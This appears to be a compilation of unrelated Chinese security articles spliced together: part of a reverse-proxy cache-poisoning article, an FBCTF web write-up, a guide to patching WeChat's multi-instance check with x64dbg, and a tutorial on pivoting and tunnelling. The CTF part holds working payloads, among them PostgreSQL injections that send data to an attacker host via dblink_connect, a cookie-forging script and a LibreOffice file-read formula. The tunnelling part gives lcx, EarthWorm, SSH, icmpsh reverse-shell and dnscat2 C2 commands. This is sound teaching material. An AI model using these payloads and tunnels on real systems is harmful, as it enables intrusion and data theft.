作为攻击者，我们可以滥用该规则，从而实现web缓存欺骗。只需受害者打开下面的这个URL（例如使用`img`）。
<img src="http://nginx_with_tomcat.com/images/..;/index.jsp">
然后受害者的浏览器将发送请求（携带经认证的cookie）。Nginx发现请求中存在`/image`，于是直接转发该请求值Tomcat，然后缓存响应（Tomcat->Nginx，此时`Cache-Control`标头无效）。Tomcat在处理时将甄别出`/index.jsp`，因此攻击者可以强制Nginx缓存任何页面，攻击者仅需更改路径`/images/..;/index.jsp`从而盗取受害者的敏感数据（例如token->csrf攻击）。
这看起来只是一个web缓存欺骗的变种，但其实不然。
让我们来考虑缓存中毒攻击。此类攻击依赖于在请求中找到未加密的值（标头），这将显著地影响（从安全角度）接下来的响应，但是在这里，这个响应必须由反向代理服务器缓存，同时`Cache-Control`标头应当设置为允许。如果我们把所有东西中和起来，我们能够找出一些方法来造成缓存中毒攻击。
让我们想象一下这个场景。有一台Nuster（基于Haproxy的缓存代理）服务器和一个web应用。这个web应用上的`/account/attacker`有一处self-XSS漏洞（只在攻击者自己的账户上触发）。Nuster配置了缓存web应用上`/img/`目录的所有响应。
nuster cache on
nuster rule img ttl 1d if { path_beg /img/ }
攻击者仅需构造特殊URL`/img/..%2faccount/attacker/`，Nuster将会应用“积极缓存”规则，这时web应用返回self-XSS响应（可以看到存在`/account/attacker/`）。这个带有XSS
Payload的响应将被Nuster缓存，因此攻击者结合XSS与缓存滥用来攻击该应用的用户。这就是从self-XSS到正常XSS的一种方法。
### 小结
在本文中，我已经展示了各种错误配置情况的攻击。具体的案例并不重要。我只是想给出 **关于反向代理的一些新的攻击面**
。如果我们想要了解反向代理如何工作，它是如何处理请求和它与后端服务器有何区别，我们（作为攻击者）一定可以找到真实的端点或对用户开展更为复杂的攻击。
谈到防范这类攻击，我想说这里没有“银弹”（俚语：指具有驱魔功效的武器），因为至今我们仍没有统一的路径/请求的规范化标准，如果有，我认为可以很好的帮助防御方。如果你对代理及其限制有一定的了解，你也可以试着去更改配置以探究差异。
由于我希望能够分享出我的真实想法，导致这篇文章篇幅过长。尽管如此，我仍然跳过了一些“小把戏“”，你可以在[这里](https://www.acunetix.com/blog/articles/a-fresh-look-on-reverse-proxy-related-attacks/)观看它们。同时，我在Github上分享了我研究的[原始结果](https://github.com/GrrrDog/weird_proxies/wiki)。这项研究至今仍未完成。我在逐个测试其他软件来完善它。
在撰写本文时，我找到了其它类似的研究（<https://github.com/irsdl/httpninja）。>
你可以将它们组合起来，或许能够获得一些提升。 | 社区文章 |
### rceservice
题目描述：
> We created this web interface to run commands on our servers, but since we
> haven't figured out how to secure it yet we only let you run 'ls'
>
> <http://challenges.fbctf.com:8085>
>
> (This problem does not require any brute force or scanning.
> We will ban your team if we detect brute force or scanning).
要求用`json`格式传送payload
我们尝试`ls`：`{"cmd":"ls"}`
题目源码：
<?php
putenv('PATH=/home/rceservice/jail');
if (isset($_REQUEST['cmd'])) {
$json = $_REQUEST['cmd'];
if (!is_string($json)) {
echo 'Hacking attempt detected<br/><br/>';
} elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)) {
echo 'Hacking attempt detected<br/><br/>';
} else {
echo 'Attempting to run command:<br/>';
$cmd = json_decode($json, true)['cmd'];
if ($cmd !== NULL) {
system($cmd);
} else {
echo 'Invalid input';
}
echo '<br/><br/>';
}
}
?>
暴躁过滤，在线砍人
但是我们看到了`preg_match`,就会想到p神曾经提到的PRCE，利用如下的exp：
import requests
payload = '{"cmd":"/bin/cat /home/rceservice/flag","zz":"' + "a"*(1000000) + '"}'
res = requests.post("http://challenges.fbctf.com:8085/", data={"cmd":payload})
print(res.text)
另一种方法，同样是`preg_match`的问题，由于它会努力去匹配第一行，所以我们可以利用 **多行** 的方法
尝试直接`cat`，但是返回了空白
我们返回去查看源代码：`putenv('PATH=/home/rceservice/jail');`，jail应用于当前环境，又根据题目描述的提示--“只允许执行ls命令”，即jail包含了执行`ls`的二进制文件，所以我们可以直接拉出`cat`的路径：`"cmd":
"/bin/cat /home/rceservice/flag"`
> 注：Linux命令的位置：/bin,/usr/bin，默认都是全体用户使用，/sbin,/usr/sbin,默认root用户使用
### events
题目描述：
> I heard cookies and string formatting are safe in 2019?
>
> <http://challenges.fbctf.com:8083>
>
> (This problem does not require any brute force or scanning. We will ban your
> team if we detect brute force or scanning).
登录
观察cookie：
ImEi.XP5j-w.rHcMilGKzEg1FYfcEOR6iqa-B9A
似乎有三段，但加密方式未知，密钥未知
我们尝试提交数据，注意到有三个参数需要提交：
既然提示了`cookie`和`string
format`，admin是未允许的状态，所以思路是篡改cookie，伪装为admin，继而拿到flag，通常有一个思路是：利用SSTI，获取密钥，然后重新签名生成cookie。所以如何利用SSTI呢？
通过一番尝试，三个参数中，`event_important`是可利用点
* 我们输入`__dict__`，成功回显
* 查找配置文件：`__class__.__init__.__globals__[app].config`
* 于是进行签名
from flask import Flask
from flask.sessions import SecureCookieSessionInterface
app = Flask(__name__)
app.secret_key = b'fb+wwn!n1yo+9c(9s6!_3o#nqm&&_ej$tez)$_ik36n8d7o6mr#y'
session_serializer = SecureCookieSessionInterface().get_signing_serializer(app)
@app.route('/')
def index():
print(session_serializer.dumps("admin"))
index()
将得到的cookie去修改原`user`的cookie即可得到flag
### products manager
题目给出了源码：
* 在db.php中：
/*
INSERT INTO products VALUES('facebook', sha256(....), 'FLAG_HERE');
INSERT INTO products VALUES('messenger', sha256(....), ....);
INSERT INTO products VALUES('instagram', sha256(....), ....);
INSERT INTO products VALUES('whatsapp', sha256(....), ....);
INSERT INTO products VALUES('oculus-rift', sha256(....), ....);
*/
给出了表结构，且提示很明显，再看主页面：
三个功能，add是添加产品
view可以查询
我们再查看view.php:
if (isset($name) && $name !== ""
&& isset($secret) && $secret !== "") {
if (check_name_secret($name, hash('sha256', $secret)) === false) {
return "Incorrect name or secret, please try again";
}
$product = get_product($name);
echo "<p>Product details:";
echo "<ul><li>" . htmlentities($product['name']) . "</li>";
echo "<li>" . htmlentities($product['description']) . "</li></ul></p>";
/db.php::check_name_secret源码如下：
function check_name_secret($name, $secret) {
global $db;
$valid = false;
$statement = $db->prepare(
"SELECT name FROM products WHERE name = ? AND secret = ?"
);
check_errors($statement);
$statement->bind_param("ss", $name, $secret);
check_errors($statement->execute());
$res = $statement->get_result();
check_errors($res);
if ($res->fetch_assoc() !== null) {
$valid = true;
}
$statement->close();
return $valid;
}
/db.php::get_product源码如下：
function get_product($name) {
global $db;
$statement = $db->prepare(
"SELECT name, description FROM products WHERE name = ?"
);
check_errors($statement);
$statement->bind_param("s", $name);
check_errors($statement->execute());
$res = $statement->get_result();
check_errors($res);
$product = $res->fetch_assoc();
$statement->close();
return $product;
}
check的时候会将name和secret一并查询，但返回product时只查询name，所以此时便有了可利用点
这里涉及到mysql的一个问题，查询的时候将会忽略字符串尾部的空格
于是我们可以添加一个facebook尾部带n个空格的product，添加成功后再进行查询，便能得到flag
### pdfme
只能上传`.fods`文件，在网上找了个：
<?xml version="1.0" encoding="UTF-8"?>
<office:document xmlns:office="urn:oasis:names:tc:opendocument:xmlns:office:1.0" xmlns:style="urn:oasis:names:tc:opendocument:xmlns:style:1.0" xmlns:text="urn:oasis:names:tc:opendocument:xmlns:text:1.0" xmlns:table="urn:oasis:names:tc:opendocument:xmlns:table:1.0" xmlns:draw="urn:oasis:names:tc:opendocument:xmlns:drawing:1.0" xmlns:fo="urn:oasis:names:tc:opendocument:xmlns:xsl-fo-compatible:1.0" xmlns:xlink="http://www.w3.org/1999/xlink" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:meta="urn:oasis:names:tc:opendocument:xmlns:meta:1.0" xmlns:number="urn:oasis:names:tc:opendocument:xmlns:datastyle:1.0" xmlns:presentation="urn:oasis:names:tc:opendocument:xmlns:presentation:1.0" xmlns:svg="urn:oasis:names:tc:opendocument:xmlns:svg-compatible:1.0" xmlns:chart="urn:oasis:names:tc:opendocument:xmlns:chart:1.0" xmlns:dr3d="urn:oasis:names:tc:opendocument:xmlns:dr3d:1.0" xmlns:math="http://www.w3.org/1998/Math/MathML" xmlns:form="urn:oasis:names:tc:opendocument:xmlns:form:1.0" xmlns:script="urn:oasis:names:tc:opendocument:xmlns:script:1.0" xmlns:config="urn:oasis:names:tc:opendocument:xmlns:config:1.0" xmlns:ooo="http://openoffice.org/2004/office" xmlns:ooow="http://openoffice.org/2004/writer" xmlns:oooc="http://openoffice.org/2004/calc" xmlns:dom="http://www.w3.org/2001/xml-events" xmlns:xforms="http://www.w3.org/2002/xforms" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:rpt="http://openoffice.org/2005/report" xmlns:of="urn:oasis:names:tc:opendocument:xmlns:of:1.2" xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns:grddl="http://www.w3.org/2003/g/data-view#" xmlns:tableooo="http://openoffice.org/2009/table" xmlns:drawooo="http://openoffice.org/2010/draw" xmlns:calcext="urn:org:documentfoundation:names:experimental:calc:xmlns:calcext:1.0" xmlns:loext="urn:org:documentfoundation:names:experimental:office:xmlns:loext:1.0" xmlns:field="urn:openoffice:names:experimental:ooo-ms-interop:xmlns:field:1.0" xmlns:formx="urn:openoffice:names:experimental:ooxml-odf-interop:xmlns:form:1.0" xmlns:css3t="http://www.w3.org/TR/css3-text/" office:version="1.2" office:mimetype="application/vnd.oasis.opendocument.spreadsheet">
<office:body>
<office:spreadsheet>
<table:table table:name="1">
<table:table-column/>
<table:table-row>
<table:table-cell office:value-type="string" calcext:value-type="string">
<text:p>TEXT</text:p>
</table:table-cell>
</table:table-row>
<table:table-row></table:table-row>
</table:table>
<table:named-expressions/>
</office:spreadsheet>
</office:body>
</office:document>
他会渲染为pdf：
将pdf下载下来，利用exiftool查看文件信息：
注意到 **libreoffice** ，查找相关漏洞，最后落到了[CVE-2018-6871](https://www.exploit-db.com/exploits/44022)，差不多是协议的问题：
> For protocols that are not supported, such as ftp: // or file: //,
> WEBSERVICE returns the #VALUE! error value.
>
> In LibreOffice, these restrictions are not implemented before 5.4.5/6.0.1
将`table:table-cell`这一部分进行替换，改为：
<table:table-cell
table:formula="of:=COM.MICROSOFT.WEBSERVICE("/etc/passwd")"
office:value-type="string"
office:string-value=""
calcext:value-type="string">
<text:p>#VALUE!</text:p>
</table:table-cell>
得到：
根据给出的用户，于是我们尝试查询`/home/libreoffice_admin/flag`,最终读到flag
### hr_admin_module
题目描述：
> While tying down the application the developer may have had trouble revoking
> the permission on one or two functions. Let's hope this got sorted. At least
> he made sure the site feels really fast.
>
> <http://challenges.fbctf.com:8081>
有两个搜索框，从error似乎给出了一些提示，数据库为`postgresql`，`user`框禁止了输入，于是尝试利用`employees`框，但没卵用，关注地址栏：
尝试将`employee`改为`user`，输入`admin'`，奏效了，弹出warning：
> This is a warning alert—check it out!
尝试输入`secret`，同样弹出上述警报
输入`admin%27--`，无警报
fuzz一阵，会发现回显只有有无warning的区别，但尝试利用`pg_sleep`，返回结果没有时延，所以我们可以猜测后台是异步执行，且一般盲注不起效果
**带外注入（OOB）：**
>
> 带外通道技术(OOB)让攻击者能够通过另一种方式来确认和利用所谓的盲目(blind)的漏洞。在这种盲目的漏洞中，攻击者无法通过恶意请求直接在响应包中看到漏洞的输出结果。带外通道技术通常需要脆弱的实体来生成带外的TCP/UDP/ICMP请求，然后，攻击者可以通过这个请求来提取数据。一次OOB攻击能够成功是基于防火墙出站规则的，即允许存在漏洞的系统和外围防火墙的出站请求
我们大致有两种方式：
1. dnslog，搭建dns服务器，将域名指向自己的服务器，利用dns进行解析，然后请求自己的二级或三级域名，在dns解析日志中去查看他们
2. 因为`dblink_connect`可用，我们可以尝试搭建一个`postgresql`服务，然后建立一个远程会话连接，连接到我们的`psql`服务，监听服务端口，查看请求包的明文信息
第二个方法似乎更为简单
`dblink`是一个支持在一个数据库会话中连接到其他PostgreSQL数据库的模块。
`dblink_connect` \-- 打开一个到远程数据库的持久连接
在自己的服务器上安装`postgresql`，在配置文件`postgresql.conf`中设置：
listen_addresses = '*'
利用tcpdump监听`5432`端口，查看请求包的信息：
tcpdump -nX -i eth0 port 5432
postgresql安装后默认用户为`postgres`，无密码，且有一个`postgres`的数据库，有意思的一点是，建议将密码或用户参数填写错误，因为这样才能返回查询信息
修改payload：
a' UNION SELECT 1,(SELECT dblink_connect('host=IP user=postgres password= dbname=postgres')) --
携带了连接信息：
列出schema：
a' UNION SELECT 1,(SELECT dblink_connect('host=IP user=' || (SELECT string_agg(schema_name,':') FROM information_schema.schemata) || ' password=postgres dbname=postgres')) --
> String_agg：有两个参数一个是需要合并的字段名称或者字面量，还有就是合并后以何种分隔符，即：string_agg(expression,
> delimiter)。
列出当前schema的table：
a' UNION SELECT 1,(SELECT dblink_connect('host=IP user=' || (SELECT string_agg(tablename, ':') FROM pg_catalog.pg_tables WHERE schemaname=current_schema()) || ' password=postgres dbname=postgres')) --
列出searches的行数
a' UNION SELECT 1,(SELECT dblink_connect('host=IP user=' || (SELECT COUNT(*) FROM searches) || ' password=postgres dbname=postgres')) --
发现为空，说明没有内容
由于`pg_read_file`不能用，我们可以使用`lo_import`将文件的内容加载到`pg_largeobject`目录中。如果查询成功，我们将获得对象的`oid`。
a' UNION SELECT 1,(SELECT dblink_connect('host=IP user=' || (SELECT lo_import('/var/lib/postgresql/data/secret')) || ' password=postgres dbname=postgres')) --
成功了！！！
每个文件都可以对应于一个oid
我们可以通过从pg_largeobject_metadata中提取来获取可用对象的oid列表
a' UNION SELECT 1,(SELECT dblink_connect('host=IP user=' || (SELECT string_agg(cast(l.oid as text), ':') FROM pg_largeobject_metadata l) || ' password=postgres dbname=postgres')) --
我们尝试挨个读取，最终在`16444`读到了flag内容
a' UNION SELECT 1,(SELECT dblink_connect('host=IP user=' || (SELECT convert_from(lo_get(16444), 'UTF8')) || ' password=postgres dbname=postgres')) -- | 社区文章 |
# 使用x64dbg分析微信防多开功能
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
> 本篇原创文章参加双倍稿费活动，预估稿费为700元，活动链接请点[此处](https://www.anquanke.com/post/id/98410)
## 引言
大家好我是蓝铁，你们的老铁^ _^。
_
相信大家现在都不止一台手机，那既然两台手机，肯定也有两个微信吧，尤其是一些搞业务的童鞋，每天上班到公司第一件事就是先打开电脑然后启动微信。那么问题来了，微信默认只支持一个微信，不能同时开启两个微信，那如果又要搞业务又要联络感情，只开一个岂不是不够呀，总不能一会儿用一下电脑，一会儿用一下手机吧，这样你的老板肯定会很不开心的，所以作为逆向分析工程师的我就想要自己分析一下微信，让其多开，这样搞什么都会非常容易了，^^，那么开始吧。
## 防多开程序的一些思路
学习过Windows
SDK的同学可能对windows下防多开的技术有所了解，由于防多开技术很多，这里只针对PC版微信涉及的防多开做些介绍。常用的windows下防多开的技术有以下几种:
* 互斥体防多开
这种防多开技术主要就是在第一次程序运行开始的时候，会使用API
`CreateMutexW`或`CreateMutexA`创建一个以当前程序为相关名称的互斥体，当第二次启动程序时，会检测是否创建相同的互斥体，如果有，则会退出程序。
一般 API `CreateMutexW`或`CreateMutexA`调用完之后，返回值为NUL即为失败，可以使用 API
`GetLastError`获取错误码。如果句柄已经存在了，返回值不是0，也可以使用 API
`GetLastError`获取错误码`ERROR_ALREADY_EXISTS`，值是0xB7。
// CreateMutexA 或 CreateMutexW 的函数原型
HANDLE WINAPI CreateMutex(
_In_opt_ LPSECURITY_ATTRIBUTES lpMutexAttributes, //
_In_ BOOL bInitialOwner, //
_In_opt_ LPCTSTR lpName // 互斥体名称
); // 返回值是句柄，返回NULL失败
* 窗口名、类名防多开
这种防多开的技术主要就是在程序启动时会使用API
`FindWindowW`或`FindWindowA`查找窗口名或窗口类名进行比对，看窗口是否存在，存在则退出。
微信防多开主要应用到的技术是使用API `CreateMutexW`或`CreateMutexA`,所以我们待会分析的时候，需要对这两个API下断，
窗口相关的API微信也用到了，只是不是用于防多开的。这里就不详细分析了。
*******
小知识
*******
Windows SDK API一般与字符串相关的API都会有两个版本
- A版，例如CreateMutexA，FindWindowA
- U版，例如CreateMutexW，FindWindowW
这两种版本代表两种字符编码方式的字符串形式
- A版，ascii版
- U版，unicode版
更多的可以使用搜索引擎查找相关信息
## 使用x64dbg对API设置断点
有了对防多开的认识之后，我们接下来就是使用x64dbg实际上手对微信进行分析。
① 首先我们要定位到PC微信的主程序。
* 我的系统是windows 10,安装之后默认安装目录是：`C:Program Files (x86)TencentWeChat`，主程序就是安装目录中的 `WeChat.exe`
``
② 接下来，就是使用x64dbg调试启动`WeChat.exe`，然后设置API断点
使用x64dbg调试启动`WeChat.exe`，使用快捷键`Ctrl+G`，打开跳转窗口，输入API名称，找到对应名称然后点击确定。
* 查询API，如图所示
* 选定API，如图所示
③ 选定API，点击确定可以进入对应API的代码地址处，使用快捷键`F2`对API设置断点
* A版创建互斥体
* U版创建互斥体
设置好断点就可以使用快捷键`F9`让微信跑起来了
## 使用x64dbg对断下的栈信息进行分析
程序跑起来之后，等待程序断点触发，这里运气比较好，在第一次程序暂停的时候，就是最关键的创建防多开互斥体的地方。
① 分析程序暂停的堆栈信息
如下图，可以看到在堆栈信息和参数窗口中都可以看到一个字符串，大致意思是`微信APP实例标识互斥体名称`，可以猜测这个就是关键的互斥体(如果不是就继续跟踪)。
打开调用堆栈，找到上一层调用的代码
② 根据调用堆栈进一步分析
在调用堆栈窗口中查看堆栈，可以看出，对互斥体操作的模块是一个动态链接库`wechatwin.dll`，在调用堆栈窗口中从上到下，双击每一条调用指令，观察其中的代码，可以发现，在第二行的`wechatwin.10321065`代码处，看起来有一个关键跳转：
可以测试一下，先打开一个微信，然后使用x64dbg调试运行查看这个关键跳转的跳转情况，发现跳转并没有生效，直接F9运行，程序并未启动，而当将其跳转指令`je`改为`jmp`后，第二个微信就可以启动起来了。说明这个地方是关键跳转。
## 使用x64dbg的补丁功能保存修改
修改完指令之后，可以使用右键菜单中的补丁或是使用快捷键`Ctrl+P`保存补丁。
x64dbg会识别哪些指令修改了，我们可以保存对应的二进制文件
在保存文件时需要注意，修改的是哪个文件，就保存哪个文件，在这里我们修改的是模块`WeChatWin.dll`，所以保存的是这个模块。
提示：如果你的系统开启了UAC,那么需要先另存为一个临时名称然后再替换。
## 测试效果
## 总结
当我们自己分析完微信的防多开之后，会发现其实大公司的产品也就那么回事，只要学好编程，学会使用x64dbg,就可以很轻松的搞定这些，所以努力学习吧，你也可以的！
还有两点需要说明：
① 在动态分析时，可以修改的地方有很多，以上的分析大家要明白的是思路而非步骤。
② 最新的PC版微信，加入了校验功能，我们如果修改了动态库，会被发现，关于校验功能的分析，大家可以自行分析一些，其实现在主模块中。 | 社区文章 |
## 0x00 前言
最近在学习内网穿透及端口转发，这里就简单总结一下部分工具及命令，如有不对的地方，请多多指教。
## 0x01 代理
学习内网穿透，我觉得第一步需要先了解一下什么是正向代理和反向代理。
### 正向代理
正向代理即是客户端代理，代理客户端，服务端不知道实际发起请求的客户端。
比如转发，国内不能直接访问谷歌，可是代理服务器可以访问，客户端可以将数据转发到代理服务器，再由代理服务器转发给谷歌获取到数据，再返回客户端。这里代理的是客户端。
Client --> Proxy <--> Server
### 反向代理
反向代理即是服务器端代理，代理服务器，客户端不知道实际提供服务的服务器。
比如nginx，客户端访问想要服务器的8080端口，可是服务器的8080端口不对外开发，这里通过nginx代理端口，将所有访问80端口的流量都转发到8080端口，这样客户端只需要访问80端口就相当于访问了服务器的8080端口。这里代理的是服务器。
Client <--> Proxy <-- Server
## 0x02 Lcx
内网IP：192.168.183.168
公网IP：192.168.183.181
### 端口转发
内网机器上执行命令：`lcx.exe –slave 公网IP 端口 内网IP 端口`
将内网的3389端口转发到公网的6666端口
lcx.exe -slave 192.168.183.181 6666 192.168.183.168 3389
lcx.exe -slave 192.168.183.181 6666 127.0.0.1 3389
公网机器上执行命令：`lcx.exe -listen 监听端口 连接端口`
将在6666端口接收到的数据转发到2222端口
lcx.exe -listen 6666 2222
使用命令`mstsc /v:127.0.0.1:2222`即可连接到内网3389端口
### 端口映射
如果内网机器防火墙禁止3389出站，可以使用tran命令将3389端口映射到其他端口上
内网机器上执行命令：`lcx.exe -tran 映射端口 连接IP 连接端口`
lcx.exe -tran 66 192.168.183.168 3389
因为实验环境是内网所以直接连接66端口即可访问3389端口，公网还需要端口转发
## 0x03 EarthWorm
平台地址：<http://rootkiter.com/EarthWorm/>
EW 是一套便携式的网络穿透工具，具有 SOCKS
v5服务架设和端口转发两大核心功能，可在复杂网络环境下完成网络穿透。工具包中提供了多种可执行文件，支持Linux、Windows、MacOS、Arm-Linux 多种平台。
该工具共有 6 种命令格式（ssocksd、rcsocks、rssocks、lcx_slave、lcx_listen、lcx_tran）。
其中SOCKS5服务的核心逻辑支持由 ssocksd 和 rssocks 提供，分别对应正向与反向socks代理。
ssocksd 用来开启Socks5代理服务
rssocks 本地启用Socks5服务，并反弹到另一IP地址
rcsocks 接收反弹过来的Socks5服务，并转向另一端口
其余的 lcx 链路状态用于打通测试主机同 socks 服务器之间的通路。
lcx 类别管道：
lcx_slave，lcx_listen：端口转发
lcx_tran：端口映射
lcx_slave 该管道一侧通过反弹方式连接代理请求方，另一侧连接代理提供主机。
lcx_tran 该管道，通过监听本地端口接收代理请求，并转交给代理提供主机。
lcx_listen 该管道，通过监听本地端口接收数据，并将其转交给目标网络回连的代理提供主机。
通过组合lcx类别管道的特性，可以实现多层内网环境下的渗透测试。
工具参数说明：
-l 开放指定端口监听
-d 指定转发或反弹的主机地址
-e 指定转发或反弹的主机端口
-f 指定连接或映射的主机地址
-g 指定连接或映射的主机端口
-t 设置超时时间
### 普通网络环境
网络环境拓扑：
#### 正向socks5
当目标网络(Server)边界存在公网IP且可任意开监听端口时
ew_for_Win.exe -s ssocksd -l 1080
在Server上通过该命令开启 1080 端口的 socks 代理
其他主机可以通过设置代理为`目标IP:1080`添加代理，Windows可以使用SocksCap64，我这里是Kali直接修改`/etc/proxychains.conf`设置代理为目标网络，使用proxychains命令扫描3389端口
数据流向：Kali -> 1080 -> Server
#### 反向socks5
当目标网络边界(Client)不存在公网 IP，需要通过反弹方式创建socks代理
在具有公网IP的Server上执行以下命令：
ew_for_Win.exe -s rcsocks -l 1080 -e 8888
在公网主机中添加转接隧道，将1080收到的代理请求转交给反连8888端口的主机
在Client主机上开启socks代理，并反弹到公网的8888端口
ew_for_Win.exe -s rssocks -d 10.19.11.138 -e 8888
Kali通过访问公网主机的1080端口提供的socks5代理服务来访问目标内网
数据流向：Kali -> 1080 -> Server -> 8888 | 防火墙 | <\- Client
### 二级网络环境
#### 环境一
网络环境拓扑：
在A主机上开启端口为8888的socks代理
ew_for_Win.exe -s ssocksd -l 8888
在B主机上将1080端口收到的socks代理请求转发给A主机的8888端口
ew_for_Win.exe -s lcx_tran -l 1080 -f 192.168.44.128 -g 8888
Kali通过访问B主机的1080端口提供的socks5代理服务来访问主机A
数据流向：Kali -> 1080 -> Server B -> 8888 -> Server A
#### 环境二
网络环境拓扑：
在VPS上添加转接隧道，将1080收到的代理请求转交给反连8888端口的主机
ew_for_Win.exe -s lcx_listen -l 1080 -e 8888
在A主机上开启端口为9999的socks代理
ew_for_Win.exe -s ssocksd -l 9999
在B主机上利用工具的lcx_slave方式，打通主机A和VPS之间的通讯隧道
当代理成功时，返回VPS可以看到有`rssocks cmd_socket OK!` 的提示
ew_for_Win.exe -s lcx_slave -d 10.19.11.138 -e 8888 -f 192.168.44.128 -g 9999
Kali通过访问VPS的1080端口提供的socks5代理服务来访问Server A
数据流向：Kali -> 1080 -> VPS -> 8888 | 防火墙 | -> B -> 9999 -> A
## 0x04 SSH隧道
ssh参数详解：
-C Enable compression 压缩数据传输
-q Quiet mode. 安静模式
-T Disable pseudo-tty allocation. 不占用 shell
-f Requests ssh to go to background just before command execution. 后台运行，并推荐加上 -n 参数
-N Do not execute a remote command. 不执行远程命令，端口转发就用它
-L port:host:hostport 将本地机(客户机)的某个端口转发到远端指定机器的指定端口.
-R port:host:hostport 将远程主机(服务器)的某个端口转发到本地端指定机器的指定端口.
-D port 指定一个本地机器动态的应用程序端口转发.
-g port 允许远程主机连接到建立的转发的端口，如果不加这个参数，只允许本地主机建立连接
### SSH本地转发
语法格式：
ssh -L [local_bind_addr:]local_port:remote:remote_port middle_host
远程管理服务器上的mysql，mysql不能直接root远程登陆。这时候就可以通过本地转发，通过ssh将服务器的3306端口转发到1234端口。
ssh -CfNg -L 2222:127.0.0.1:3306 [email protected]
工作原理：在本地指定一个由ssh监听的转发端口2222，将远程主机的3306端口(127.0.0.1:3306)映射到本地的2222端口，当有主机连接本地映射的2222端口时，本地ssh就将此端口的数据包转发给中间主机VPS，然后VPS再与远程主机端口(127.0.0.1:3306)通信。
数据流向：Kali -> 2222 -> VPS -> 127.0.0.1:3306
### SSH远程转发
语法格式：
ssh -R [bind_addr:]remote1_port:host:port remote1
假设kali开了一个80端口的web服务，外网无法访问，使用远程转发，将kali的80端口转发到外网的其他端口，这时候访问外网的端口，就访问到了内网的端口。
ssh -CfNg -R 4444:127.0.0.1:80 [email protected]
此时在192.168.183.195这台主机上访问127.0.0.1:4444端口即可访问到kali的80端口
工作原理：kali在请求外网主机的sshd服务，在外网主机上建立一个套接字监听端口(4444)，它是kali的80端口的映射，当有主机连接外网的4444端口时，连接的数据全部转发给kali，再由kali去访问127.0.0.1:80。
这里要注意一点，远程端口转发是由远程主机上的sshd服务控制的，默认配置情况下，sshd服务只允许本地开启的远程转发端口(4444)绑定在环回地址(127.0.0.1)上，即使显式指定了bind_addr也无法覆盖。也就是这里访问127.0.0.1:4444端口可以访问成功，访问192.168.183.195:4444却不能访问成功。
要允许本地的远程转发端口绑定在非环回地址上，需要在外网主机的sshd配置文件中启用"GatewayPorts"项，它的默认值为no，这里将它改为yes。然后重新远程转发一下即可用外网地址访问。
### SSH动态转发
本地或远程转发端口和目标端口所代表的应用层协议是一对一的关系，不同的服务就要建立不同的端口，工作很是繁琐，而动态转发只需绑定一个本地端口，而目标端口是根据你发起的请求决定的，比如请求为445端口，通过ssh转发的请求也是445端口。
语法格式：
ssh -D [bind_addr:]port remote
这里举一个最简单的列子：国内正常情况下上不了Google，我们可以通过将流量转发到国外的vps上这样就可以正常访问了。
在本地执行以下命令，并查看建立连接情况
ssh -Nfg -D 3333 [email protected]
连接建立成功，设置浏览器到本地主机的3333端口
然后就可以访问Google了
## 0x05 ICMP隧道
注意：在搭建ICMP隧道的时候切记把自身的icmp关闭
(`sysctl -w net.ipv4.icmp_echo_ignore_all=1`)
### ptunnel
ptunnel，全称“Ping Tunnel”，利用ICMP协议构建通信隧道，实现端到端通信。
网络环境拓扑：
B、C上需要装ptunnel工具，因为这里A只能ping通B，所以让B作为server，即ICMP跳板机
注意：由于通过ICMP协议建立隧道，为了让隧道服务端能够处理收到的ICMP报文，需要禁用系统本身的ICMP响应机制，防止内核响应ping数据包本身。这里先关闭B的ICMP响应机制，否则会出现`[err]:
Dropping duplicate proxy session request.`报错。
在B上运行命令ptunnel
在C上运行命令
ptunnel -p 192.168.137.128 -lp 8888 -da 192.168.44.130 -dp 3389
-p 指定跳板机的IP
-lp 指定转发本地监听的端口
-da 指定最终要访问的目标主机
-dp 指定最终要访问目标主机的端口
此时ICMP隧道就已经打通了，最后在D上访问C的8888端口就相当于访问A的3389端口了
mstsc /v:192.168.137.129:8888
当然这里也可以让B既作为跳板机，又作为代理服务器
### icmpsh
icmpsh是一个简单的反向ICMP shell，与其他类似的开源工具相比，其主要优势在于它不需要管理权限即可运行到目标计算机上。
网络环境拓扑：
首先在kali上下载[icmpsh](https://github.com/inquisb/icmpsh)并关闭自身的icmp
./icmpsh-m.py <source IP address> <destination IP address>
sysctl -w net.ipv4.icmp_echo_ignore_all=1
python icmpsh_m.py 192.168.137.129 192.168.137.132
在受害机上运行以下命令
icmpsh.exe -t 192.168.137.129
返回kali查看shell
## 0x06 DNS隧道
### dnscat2
内网出口一般对出站流量做了严格限制，但是通常不会限制 DNS 请求，也就是 UDP 53 请求。dnscat2是一款利用 DNS 协议创建加密 C2
隧道来控制服务器的工具。dnscat2 由客户端和服务端两部分组成。
#### 初始化dnscat2服务端
Server部署
git clone https://github.com/iagox86/dnscat2.git
apt-get install ruby-dev
cd dnscat2/server/
gem install bundler
bundle install
ruby ./dnscat2.rb # 启动服务端
#### 编译客户端
Client部署
git clone https://github.com/iagox86/dnscat2.git
cd dnscat2/client/
make (如果你在 windows 环境下编译，需要将client/win32/dnscat2.vcproj 加载到 Visual Studio 并点击 “build” )
如果目标内网放行了所有的 DNS 请求，那么就可以直接指定 HOST ，通过 UDP53 端口通信，而如果目标内网只允许和受信任的 DNS
服务器通信时就需要申请注意域名，并将运行 dnscat2 server 的服务器指定 Authoritative DNS 服务器。
注意：Dnscat2 默认是加密的，服务端可以通过–security=open关闭加密，可以提高传输的稳定性。
刚刚在启动服务端的时候默认是加密的，需要记下secret待客户端使用
Client运行以下命令发现session建立成功
./dnscat --dns server=192.168.137.129,port=53 --secret=ca7670fc9b8f016b3ccb5749d11eed62
#### dnscat2指令
返回服务端查看会话，可以通过help查看支持的命令
你可以通过sessions或windows查看当前会话，用`session(window) -i 1`进入名为1的会话，用help查看支持的命令
如果想返回shell，直接在session 1输入shell创建新的会话，通过ctrl+z返回上一层，选择新的session即可
### Iodine
